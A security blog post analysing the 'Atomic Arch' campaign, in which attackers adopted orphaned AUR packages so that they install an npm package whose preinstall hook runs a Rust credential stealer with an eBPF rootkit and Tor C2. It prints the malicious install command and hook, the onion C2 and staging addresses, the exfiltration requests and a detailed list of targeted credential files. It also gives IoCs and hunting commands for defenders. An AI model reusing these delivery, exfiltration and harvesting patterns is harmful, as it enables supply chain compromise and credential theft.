On June 11, someone going by the username arojas spent what was probably a quiet afternoon methodically adopting orphaned Arch User Repository packages and injecting them with malware. By the time the community caught on, 408 packages were already compromised. By the time this piece was being written, that number had crossed 900 and is still climbing.
Sonatype researchers have named the campaign Atomic Arch. It’s one of the largest AUR supply chain incidents on record, and the technical sophistication of the payload puts it well beyond your average package repository drive-by.

How It Started: AUR’s Orphan Adoption Policy
To understand how this happened, you need to know one specific thing about how the AUR works: anyone can adopt an orphaned package. When a maintainer abandons a project, the package gets marked unmaintained and becomes fair game. Any AUR account can submit a change to the PKGBUILD and associated install scripts. There’s no review gating, no vouching system, no delay period.
Sonatype researchers specifically characterized the Atomic Arch campaign as a deliberate strategy of targeting orphaned, trusted packages with existing install bases and maximizing victim reach while minimizing scrutiny.
The attacker automated the hunt. That’s not speculation – automating orphaned package discovery is already a known practice in the AUR community, used legitimately by maintainers who want to rescue useful packages. Whoever ran this operation turned that same automation malicious. Additional attacker accounts custodiatovar and veramagalhaes were later identified as having taken over further orphaned packages, which means this wasn’t just one person, it was a coordinated multi-account operation.
The Infection Chain: How a PKGBUILD Becomes a Backdoor
The malicious PKGBUILDs were altered to silently fetch and install two rogue npm packages: atomic-lockfile and js-digest.
Here’s how the infection chain actually works, step by step:
- A user runs their AUR helper (
yay,paru, or rawmakepkg) to install or update a package. - The PKGBUILD now lists
npmas a dependency, which gets pulled in first. - A
.installpost-install hook fires, executing:npm install atomic-lockfile axios got - npm fetches
atomic-lockfileversion1.4.2from the npm registry. atomic-lockfile‘spackage.jsoncontains apreinstalllifecycle hook:"preinstall": "./src/hooks/deps"- npm automatically runs that hook before installing the package which directly executes the malicious ELF binary.
The malicious npm package used a preinstall lifecycle hook to execute the ELF automatically during npm installation. This means a developer workstation, maintainer machine, or CI/build host could execute the malware as a side effect of building or installing the compromised AUR package. ioctl.fail
The .install hook runs after makepkg elevates privileges for installation. The npm install step happens in a context where it can run with root if the user ran sudo. That’s not accidental. The eBPF rootkit requires CAP_BPF, a capability typically only available to root and the install chain was specifically constructed to execute at a moment when root access is likely.
A second wave used bun instead of npm to install js-digest, same npm publisher (herbsobering), same general approach, different toolchain to evade any detection signatures keyed on npm install atomic-lockfile. Both payloads ultimately deliver the same ELF binary.
The Payload: Meet deps
The binary is stripped and implemented with Rust-style async state machines. It’s not some off-the-shelf malware kit. This was written in Rust, compiled to a stripped 64-bit ELF, around 3 MB in size, and engineered specifically for developer workstations and build environments.
Sample metadata:
- File:
deps - Size: 3,040,376 bytes
- Type: Linux ELF64, x86-64, PIE, dynamically linked
- SHA-256:
6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B - MD5:
42B59FDBE1B72895B2951412222EBF40
(The second wave payload embedded in js-digest has SHA-256 7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316.)
What it steals
The payload targets SSH keys, GitHub tokens, npm credentials, Docker and Podman auth, HashiCorp Vault tokens, browser session data, Slack, Discord, Microsoft Teams, Telegram, VPN config files, and shell histories. It also enumerates Chromium-family browser profiles – reading SQLite cookie databases and LevelDB local storage and queries Slack, Teams, Discord, GitHub, and OpenAI/ChatGPT APIs directly with any stolen tokens or cookies.
This is a credential vacuum aimed squarely at developers. Your AWS keys in .env, your GitHub PAT in ~/.gitconfig, your SSH private key for that production server – all of it in scope.
Persistence: How It Digs In
The exported main wrapper initializes runtime behavior, redirects standard descriptors, ignores SIGPIPE, and enters the Rust async application. The primary orchestrator is an async state machine that starts persistence, collectors, rootkit setup, local transport, exfiltration, and staging tasks.
Persistence depends on privilege level at execution time:
- Root: Copies itself to a generated path under
/var/lib/, installs a systemd service unit under/etc/systemd/system/ - Non-root: Uses the current user’s home directory and installs a per-user systemd unit under
~/.config/systemd/user/
Both use Restart=always with a 30-second restart delay. The service and executable names are not hardcoded plaintext – they’re generated at runtime, which makes simple grep-based detection unreliable. The malware enforces a single active instance using flock(), and reads /proc/self/exe to locate and copy its own executable during the install phase.
The eBPF Rootkit: Why This Is Serious
eBPF (extended Berkeley Packet Filter) is a Linux technology that allows programs to run inside the kernel with elevated privileges. Static analysis identified function references to an eBPF program scales.bpf.c and libbpf APIs.
When deps runs with CAP_BPF (i.e., as root), it loads a kernel-level eBPF program that hides its own processes, process names, and socket inodes from userspace. Tools like ps, top, htop, netstat, and ss all read from /proc and the eBPF program intercepts those reads and filters out the malware’s entries. You can’t see it. The process is running, the network socket is open, but nothing standard will show it to you.
Live response tools may miss the process or its sockets on compromised hosts where the eBPF component is active.
To check for the rootkit, run: ls -la /sys/fs/bpf/hidden_*. If that path exists, you have a problem. That said, on a system where the rootkit is already active, you probably shouldn’t trust the output of any tools running on it. Boot from a clean Arch ISO, mount the filesystem externally, and investigate from there.
Command and Control: Tor Onion Service
The C2 address isn’t stored in plaintext. Static analysis recovered the onion host from a repeating-XOR decode path: a 32-byte XOR key at offset 0x1AA60, a 62-byte obfuscated ciphertext at 0x2DA96, decoded at runtime to olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion.
Collector results are serialized into shared output objects and sent as POST /api/agent to the onion C2 through a local loopback/SOCKS transport. File content is separately uploaded to temp.sh via POST /upload. The local loopback traffic is just an intermediate relay layer – the actual destination is that Tor hidden service, making the C2 highly resistant to takedown.
There’s also a cryptominer staging path – the binary references /usr/bin/monero-wallet-gui, which suggests the attacker may have planned a second-stage Monero mining deployment on machines where it made sense.
Threat Actor Infrastructure
Sonatype flagged this campaign as Sonatype-2026-003775 with a CVSS score of 8.7. The npm package atomic-lockfile was published by the account herbsobering – the same account that published js-digest. That account also has a GitHub container image (herbsobering430) that analysis suggests functions as a reverse shell or proxy tool. The operation used at least three AUR accounts (arojas, custodiatovar, veramagalhaes) and at least two npm packages, with infrastructure routed through Tor. This wasn’t improvised.
Sonatype noted the use of a preinstall script to execute an embedded binary is similar to the atomic-notes package in the IronWorm campaign, though it has not confirmed the two are related.

Comprehensive Analysis
Summary of Findings
deps is a Linux ELF64 credential stealer delivered through a compromised Arch User Repository (AUR) package build flow. The attacker injected a malicious npm package – masquerading as the legitimate atomic-lockfile package at version 1.4.2 into AUR build steps. The npm package carried the ELF payload at src/hooks/deps and executed it automatically through a preinstall lifecycle hook the moment npm install ran.
The malware is Rust-compiled, stripped, and uses async state machine architecture. It performs three primary functions:
- Credential harvesting from browsers, Electron apps, developer tools, and local secrets
- C2 communication via an encoded onion service, routed through a local SOCKS-style loopback proxy
- eBPF rootkit activation on privileged hosts to hide its own processes and sockets from live-response tools
Multiple AUR packages were affected on the same day, pointing to a single threat actor running a broad supply chain campaign rather than a targeted intrusion.
Sample Metadata
| Field | Value |
|---|---|
| File name | deps |
| File size | 3,040,376 bytes (~2.9 MB) |
| File type | Linux ELF64, x86-64, PIE, dynamically linked |
| ELF type | ET_DYN |
| Entry point | 0xeae00 |
| SHA-256 | 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B |
| MD5 | 42B59FDBE1B72895B2951412222EBF40 |
| Compiler/Runtime | Rust (async state machines, stripped) |
| Symbol table | Stripped – all function names are analyst-assigned |
The SHA-256 hash is identical between the standalone deps sample and atomic-lockfile/package/src/hooks/deps, confirming they are the same binary.
Supply Chain Delivery Mechanism
Delivery Chain
AUR build process └─► fetches/builds compromised AUR package └─► AUR PKGBUILD downloads malicious npm package └─► npm reads package.json └─► npm lifecycle: "preinstall" └─► executes ./src/hooks/deps └─► Linux ELF malware starts execution
Malicious Package Identity
| Field | Value |
|---|---|
| Package name | atomic-lockfile |
| Malicious version | 1.4.2 |
| Main entry | ./dist/cjs/index.cjs |
| ESM entry | ./dist/esm/index.js |
| CLI bin | atomic-lockfile → ./dist/esm/cli/index.js |
| Malicious lifecycle | "preinstall": "./src/hooks/deps" |
| Payload path | src/hooks/deps |
| Payload SHA-256 | 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B |
The outer package is a largely functional TypeScript npm package (legitimate atomic-lockfile project) with the ELF binary inserted into its source tree. This means static inspection of package.json alone looks mostly reasonable – the malicious entry is only in the scripts.preinstall field.
Critical point: The JavaScript wrapper contains no C2 configuration, no additional encoding, and no arguments passed to the ELF. All C2 logic lives entirely inside the binary.
Why This Works
npm executes lifecycle scripts (preinstall, postinstall, etc.) automatically during npm install unless explicitly suppressed with --ignore-scripts. In CI environments and developer machines where this flag is not set, the ELF runs with no user interaction required.
Execution Flow & Persistence
Startup Sequence
mainwrapper initializes the Rust async runtime- Redirects
stdin,stdout,stderr→/dev/null - Ignores
SIGPIPE - Reads
/proc/self/exeto get its own executable path for self-copying - Calls
install/persistence routineat0x142843 - Main orchestrator at
0x125238starts async task frames for:- Persistence
- Credential collectors
- eBPF rootkit setup
- Local SOCKS transport
- C2 communication
- File upload/exfiltration
- Secondary staging
Single-Instance Enforcement
Uses flock() to ensure only one instance of the malware runs at a time. This is standard anti-double-execution behavior to avoid detection signatures from multiple spawns and to prevent collector conflicts.
Persistence – Root vs. Non-Root
| Mode | Install Path | Service Path |
|---|---|---|
Root (uid=0) | /var/lib/<generated_name> | /etc/systemd/system/<generated_name>.service |
| Non-root | ~/.config/<generated_path> | ~/.config/systemd/user/<generated_name>.service |
The generated name is not a simple readable string instead it is computed at runtime and not stored as obvious plaintext in the binary.
Both service configurations use:
ini
Restart=alwaysRestartSec=30
This means the malware respawns 30 seconds after any crash or kill. Simply killing the process without removing the service unit and installed binary is insufficient remediation.
Command & Control Architecture
C2 Endpoint
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
This address is not stored in plaintext. It is recovered through a runtime XOR decode:
| Component | Address | Detail |
|---|---|---|
| XOR key | 0x1AA60 | 32-byte repeating key |
| Ciphertext | 0x2DA96 | 62-byte obfuscated onion host |
| Decode loop | 0x1209f2 | ciphertext[i] ^ key[i % 32] |
| Output buffer | 0x120a15 | Decoded host stored here |
C2 Call Chain
async vtable @ 0x2db0b0 └─► poll_onion_c2_transport_setup_task() @ 0x10c778 └─► prepare_onion_c2_transport_and_hide_sockets() @ 0x10c7ea / 0x11e102 └─► vtable/function pointer @ 0x2db1f0 └─► poll_api_agent_c2_via_onion_loopback_transport() @ 0x10d3d9
C2 HTTP Request
POST /api/agent HTTP/1.0Host: olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onionContent-Length: <runtime length><serialized body>
The binary expects an HTTP 200 response, parses the header/body separator, and processes the response body for command tasking, result acknowledgements, and relay of temp.sh upload IDs.
Transport Layer – SOCKS Proxy Architecture
The malware does not connect directly to the onion service. Instead:
Malware process └─► connects to 127.0.0.1:<runtime-selected-port> └─► local loopback service @ 0x110179 └─► SOCKS5 CONNECT to decoded onion host └─► TCP/80 or TCP/8080
SOCKS-related strings present in binary:
socks greeting writesocks greeting readsocks CONNECT writesocks CONNECT respsocks CONNECT failed: rep=socks5 auth rejected
The loopback listener handles inbound connections from the main process and performs outbound SOCKS5 transport to the onion host. When the eBPF rootkit is active, this local socket and its inode are hidden from ss, netstat, /proc/net/tcp, and socket diagnostic netlink queries.
Data Exfiltration Channels
| Channel | Endpoint | Purpose |
|---|---|---|
| File upload | temp.sh – POST /upload HTTP/1.1 | Raw file/blob upload |
| C2 command channel | .onion – POST /api/agent | Command tasking, upload ID relay, result acknowledgement |
| API enrichment | api.openai.com, discord.com, api.github.com, etc. | Credential validation – not attacker C2 |
The temp.sh upload path constructs HTTP multipart requests:
POST /upload HTTP/1.1Host: temp.shConnection: close
The malware checks for successful HTTP responses and stores the server-returned upload ID back into its state, likely forwarding it to the operator via the /api/agent channel.
Credential & Data Collection – Full Scope
Browsers – Chromium-Family Profile Stores
Every major Chromium-derived browser is targeted. Confirmed targets:
| Browser | Notes |
|---|---|
| Google Chrome | Standard + Flatpak |
| Chrome Beta / Dev | |
| Microsoft Edge | Standard + Beta + Dev + Flatpak |
| Brave | Standard + Beta + Nightly + Flatpak |
| Vivaldi | Standard + Flatpak |
| Opera | Standard + Beta + Developer + Flatpak |
| Yandex Browser | Standard + Flatpak |
| Epic Privacy Browser | |
| Iridium | |
| Ungoogled Chromium | |
| Thorium | |
| Comodo Dragon | |
| SRWare Iron | |
| Cent Browser | |
| Slimjet | |
| Maxthon | |
| UC Browser | |
| CocCoc | |
| Naver Whale | |
| Chromium (Flatpak) |
Targeted profile artifacts per browser:
Local Storage/leveldb/Network/CookiesCookiesDefault/Cookies
Chromium encrypted cookie values are also targeted. The malware has decryption capability for the encrypted cookie format used in modern Chromium builds.
Electron & Collaboration Applications
Slack
Targeted paths:
~/.config/Slack/~/.var/app/com.slack.Slack/config/Slack/ (Flatpak)~/snap/slack/current/.config/Slack/ (Snap)
Stolen data:
dcookies for*.slack.comdomains- Session tokens
API enrichment calls (using stolen tokens):
POST /api/auth.testGET /api/users.infoGET /api/conversations.list
Microsoft Teams
Targeted paths:
~/.config/Microsoft/Microsoft Teams/~/.config/Microsoft/Microsoft Teams (legacy)/(browser-derived and Flatpak stores also targeted)
Stolen data and API endpoints:
authsvc.teams.microsoft.comteams.microsoft.comskypeTokenregionGtmcache.tokenAuthorization: Bearer <token>X-Skypetoken: <token>
Account metadata extracted: tenant ID, team membership, account details.
Discord (All Variants)
Targeted clients:
Discord (stable)Discord PTBDiscord CanaryDiscord (Flatpak) - multiple variantsDiscord (Snap) - multiple variantsVesktopLegcordWebCordArmCordVencordNativeCordAbaddonDissentRipcordDatcord
API enrichment calls (using stolen tokens):
GET /api/v9/users/@meGET /api/v9/users/@me/guilds?with_counts=true
Metadata extracted: user ID, phone number, MFA state, Nitro/premium type, account flags, guild ownership, member counts, guild permissions.
Developer Accounts & Package Ecosystems
GitHub
Strings and endpoints:
api.github.comGET /user HTTP/1.1GET /user/repos?sort=stars&direction=desc&per_page=3&type=ownerAuthorization: Bearer <token>User-Agent: git/2.39.0
Extracted: login, company, public repository count, follower count, top repository stars.
npm
Strings and endpoints:
registry.npmjs.orgGET /-/whoamiGET /-/v1/search?text=maintainer%3A...&size=3
Extracted: publishing identity, package maintainer metadata. This is particularly dangerous on maintainer machines – stolen npm tokens allow publishing malicious package updates.
OpenAI / ChatGPT
Queries api.openai.com with stolen bearer tokens for account metadata. This is credential validation/enrichment only. OpenAI is not attacker infrastructure.
0xf9f06 query_openai_account_metadata_via_local_socks
Local Developer Secrets
SSH material:
~/.ssh/ (entire directory)known_hostsknown_hosts.old-----BEGIN ... PRIVATE KEY ...PuTTY-User-Key-File- (PuTTY PPK format)
Shell histories:
~/.bash_history~/.zsh_history~/.local/share/fish/fish_history
History is filtered for commands containing:
sftp, ssh-keygen, ssh-copy-id, ssh-add, rsync, putty, plink,docker, docker-compose, podman
Vault tokens:
~/.vault-token~/.vault/tokenX-Vault-Token header value
Docker / Podman:
Docker command historyDocker registry credential material (~/.docker/config.json paths)Podman command historyPodman registry credential material
VPN:
*.ovpn filespassphrase strings associated with VPN configs
Filesystem filtering (excluded from harvesting):
node_modules/target/__pycache__/.ds_storethumbs.dbdesktop.ini*.lock
eBPF Rootkit Analysis
Privilege Gate
The eBPF component is loaded from memory (not disk) and only activates when the process has sufficient privilege:
geteuid() == 0 + /proc/self/status → CapEff: parser + CAP_BPF check + CAP_SYS_ADMIN check
This is not a privilege escalation tool. It only activates when the malware already has root or the required capabilities.
Pinned BPF Maps
/sys/fs/bpf/hidden_pids/sys/fs/bpf/hidden_names/sys/fs/bpf/hidden_inodes
These maps persist in the BPF filesystem after the program is loaded. Simply killing the malware process does not remove them.
Rootkit Capabilities
| Capability | Effect |
|---|---|
| PID hiding | Selected PIDs hidden from /proc listings |
| Name hiding | Selected process names hidden from directory listing |
| Socket inode hiding | Hides sockets from /proc/net/tcp |
| Netlink hiding | Hides sockets from socket diagnostic netlink (ss, netstat) |
| Anti-ptrace | Kills any process attempting ptrace against a hidden process |
| Self-concealment | Inserts own PID and parent metadata into hidden maps |
| Transport hiding | Hides local listener/socket inodes used by SOCKS loopback |
Forensic implication: On privileged compromises, standard live-response tools (ps, ss, lsof, /proc/net/tcp) will not show the malware process or its network connections. Trusted offline acquisition or kernel-level views bypassing the eBPF hooks are required for accurate forensics.
Staging & Secondary Payload
The binary contains a download/staging path that fetches a secondary payload:
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/bin/linuxolrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/bin/sha256/linux
The /bin/sha256/linux endpoint returns the expected hash of the staged binary for integrity verification before execution.
The staging path references /usr/bin/monero-wallet-gui, suggesting the secondary payload is a Monero cryptominer disguised as or installed alongside the legitimate Monero wallet GUI binary.
Relevant function:
0x1020ae / 0x1600e0 binary staging/transport routine
This path has not been fully analyzed in the source report. The cryptominer hypothesis is based on the Monero wallet GUI reference and the file path structure.
Key Functions Table
| Address | Analyst Name | Purpose |
|---|---|---|
0x125238 | main_orchestrator | Central async state machine; starts all subsystems |
0x142843 | install_persistence_routine | Reads /proc/self/exe, writes systemd unit, uses flock() |
0x10c778 | poll_onion_c2_transport_setup_task | Async wrapper for C2 transport setup |
0x10c7ea / 0x11e102 | prepare_onion_c2_transport_and_hide_sockets | Decodes onion host, sets up SOCKS transport, hides sockets via eBPF |
0x10d3d9 | poll_api_agent_c2_via_onion_loopback_transport | Sends POST /api/agent via SOCKS loopback |
0x110179 | local_network_control_routine | Creates/binds/listens on local SOCKS socket |
0xf9f06 | query_openai_account_metadata_via_local_socks | Validates stolen OpenAI bearer tokens |
0x1020ae / 0x1600e0 | binary_staging_transport_routine | Fetches secondary payload; references /usr/bin/monero-wallet-gui |
0x1AA60 | (XOR key offset) | 32-byte repeating XOR key for onion host decode |
0x2DA96 | (ciphertext offset) | 62-byte obfuscated onion host |
0x1209f2 | (decode loop) | ciphertext[i] ^ key[i % 32] |
0x120a15 | (decoded buffer) | Decoded onion host stored here |
Complete Indicators of Compromise (IoCs)
File Hashes
SHA-256: 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98BMD5: 42B59FDBE1B72895B2951412222EBF40
Applies to both deps and atomic-lockfile/package/src/hooks/deps.
Malicious npm Package
Package: atomic-lockfileVersion: 1.4.2Lifecycle script: "preinstall": "./src/hooks/deps"Payload path: src/hooks/depsPayload size: 3,040,376 bytesPayload SHA-256: 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B
Network Indicators
| Indicator | Classification |
|---|---|
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion | Attacker C2 |
POST /api/agent HTTP/1.0 | Attacker C2 callback |
temp.sh | File upload relay (not actor-owned) |
POST /upload HTTP/1.1 to temp.sh | Exfiltration upload |
127.0.0.1:<dynamic port> | Local SOCKS loopback (internal transport) |
api.openai.com | Credential enrichment only |
discord.com | Credential enrichment only |
teams.microsoft.com | Credential enrichment only |
authsvc.teams.microsoft.com | Credential enrichment only |
api.github.com | Credential enrichment only |
registry.npmjs.org | Credential enrichment only |
*.slack.com | Credential enrichment only |
Note: Calls to OpenAI, Discord, GitHub, Teams, npm, and Slack are made using stolen credentials for validation/enrichment. These are legitimate service endpoints, not attacker infrastructure.
Filesystem Paths – Persistence
/proc/self/exe (self-read at startup)/var/lib/<generated_name> (root install - binary copy)/etc/systemd/system/<generated_name>.service (root persistence)~/.config/<generated_path> (user install - binary copy)~/.config/systemd/user/<generated_name>.service (user persistence)
Filesystem Paths – eBPF Rootkit
/sys/fs/bpf/hidden_pids/sys/fs/bpf/hidden_names/sys/fs/bpf/hidden_inodes
Filesystem Paths – Credential Targets
# SSH~/.ssh/~/.ssh/known_hosts~/.ssh/known_hosts.old~/.ssh/id_rsa (and any PRIVATE KEY file)# Shell History~/.bash_history~/.zsh_history~/.local/share/fish/fish_history# Vault~/.vault-token~/.vault/token# Docker / Podman~/.docker/config.json (implied)# VPN*.ovpn (filesystem search)# General/home/ (recursive search with noise filtering)HOME (env var)
Systemd Service Characteristics
ini
Restart=alwaysRestartSec=30
Any unknown systemd service (system or user scope) with these exact restart parameters and an executable under /var/lib/ or user configuration directories should be considered suspicious.
Suspicious Strings / Behavioral Indicators
/usr/bin/monero-wallet-gui (secondary payload staging target)/bin/sha256/ (staging integrity check path)/tor-expert-bundle- (Tor bundle reference).tar.gz (archive handling)/etc/machine-id (host fingerprinting)cmd: (C2 command parsing)CapEff: (capability check in /proc/self/status)server returned empty binary (staging error string)headers too large (HTTP parsing error string)socks greeting writesocks greeting readsocks CONNECT writesocks CONNECT respsocks CONNECT failed: rep=socks5 auth rejected
Detection & Response Guidance
Immediate Triage Steps
- Assume credential compromise on any host where this ELF executed, regardless of privilege level.
- Do not rely on standard live-response tools if root execution is suspected. The eBPF rootkit actively hides PIDs, process names, and socket inodes from
ps,ss,netstat,/proc, and socket diagnostic netlink.
Persistence Hunting
bash
# Check system-wide systemd units with suspicious restart configgrep -r "Restart=always" /etc/systemd/system/grep -r "RestartSec=30" /etc/systemd/system/# Check user systemd unitsfind /home -path "*/.config/systemd/user/*.service" -exec grep -l "Restart=always" {} \;# Look for unexpected binaries under /var/lib/find /var/lib/ -type f -executable -newer /var/lib/dpkg/info 2>/dev/null# Check /proc/self/exe links for running servicesls -la /proc/*/exe 2>/dev/null | grep -v "Permission denied"
eBPF Rootkit Hunting
bash
# Check for pinned BPF mapsls -la /sys/fs/bpf/# Specific map names to look forls /sys/fs/bpf/hidden_pidsls /sys/fs/bpf/hidden_namesls /sys/fs/bpf/hidden_inodes# List all loaded BPF programsbpftool prog list# List all loaded BPF mapsbpftool map list
Network Hunting
bash
# Look for loopback listeners that don't belong to known servicesss -tlnp | grep 127.0.0.1netstat -tlnp | grep 127.0.0.1# Check for SOCKS-related outbound connections# (may be hidden on rootkitted hosts - use offline forensics if suspected)# Review proxy/firewall logs for temp.sh upload activity# Review Tor exit node traffic or .onion DNS queries in SOCKS-aware proxies
Supply Chain Hunting
bash
# Search npm cache for the malicious packagefind ~/.npm -name "atomic-lockfile" -type dfind /root/.npm -name "atomic-lockfile" -type dls ~/.npm/_cacache/# Check if the payload hash exists anywhere on diskfind / -type f -size 2961752c -exec sha256sum {} \; 2>/dev/null \ | grep 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B# Search for unexpected ELF files in npm source treesfind ~/.npm /tmp /var/tmp -name "deps" -type f 2>/dev/null# Check AUR build logscat ~/.cache/paru/clone/*/build.log 2>/dev/null | grep -i "atomic-lockfile\|preinstall"cat ~/.cache/yay/*/build.log 2>/dev/null | grep -i "atomic-lockfile"
CI/CD Environment Hunting
- Review all CI pipeline logs for
npm installruns that did not use--ignore-scripts - Check for
preinstallscript execution events in npm audit logs - Review artifact caches for
atomic-lockfile@1.4.2 - Check runner host environments for systemd service anomalies
Credit: Sonatype for Initial Investigation
What You Need to Do Right Now
If you’re not on Arch Linux, you’re not affected. If you are:
Run this command to surface recently updated AUR packages:
bash
pacman -Qqm | while read pkg; do pacman -Qi "$pkg" | grep -E "^(Name|Install Date)" | paste - -; done | sort -k4
Any AUR package installed or updated on or after June 11, 2026 warrants a full PKGBUILD diff review. If the PKGBUILD includes npm, pip, or cargo commands that have no clear relationship to the software’s function, treat that package as suspect.
Use the community detection script at this GitHub Gist to cross-reference your installs against the known-compromised package list.
If you find a match:
- Don’t just uninstall. The malware has already run.
- Rotate everything – SSH keys, GitHub PATs, npm tokens, Docker credentials, cloud API keys, anything in your shell history or
.envfiles. - Check for the eBPF rootkit via
/sys/fs/bpf/hidden_*from a trusted environment. - Boot from an Arch ISO, mount the filesystem, and remove any malicious systemd units you find.
- Seriously consider a full reinstall. Once an eBPF rootkit is involved, you can’t fully trust the system regardless of what cleanup you do.
The Bigger Picture
Atomic Arch highlights a growing supply chain risk: attackers no longer need to create trust, sometimes they can inherit it. The AUR’s orphan adoption policy is a convenience feature, not a security model. There’s no review before a maintainer change goes live, no audit trail surfaced to users, no warning from yay or paru that the package changed hands last week.
The community is already calling for changes: warnings when packages have changed owners recently, tighter account controls, better visibility into maintainer history inside AUR helpers. Alternatively, some recommend avoiding AUR helpers altogether and inspecting/building packages yourself directly from PKGBUILDs. That’s sound advice, though realistic for maybe 5% of AUR users.
The AUR mailing list thread is the live operational source right now: lists.archlinux.org.
This post first appeared at - The CyberSec Guru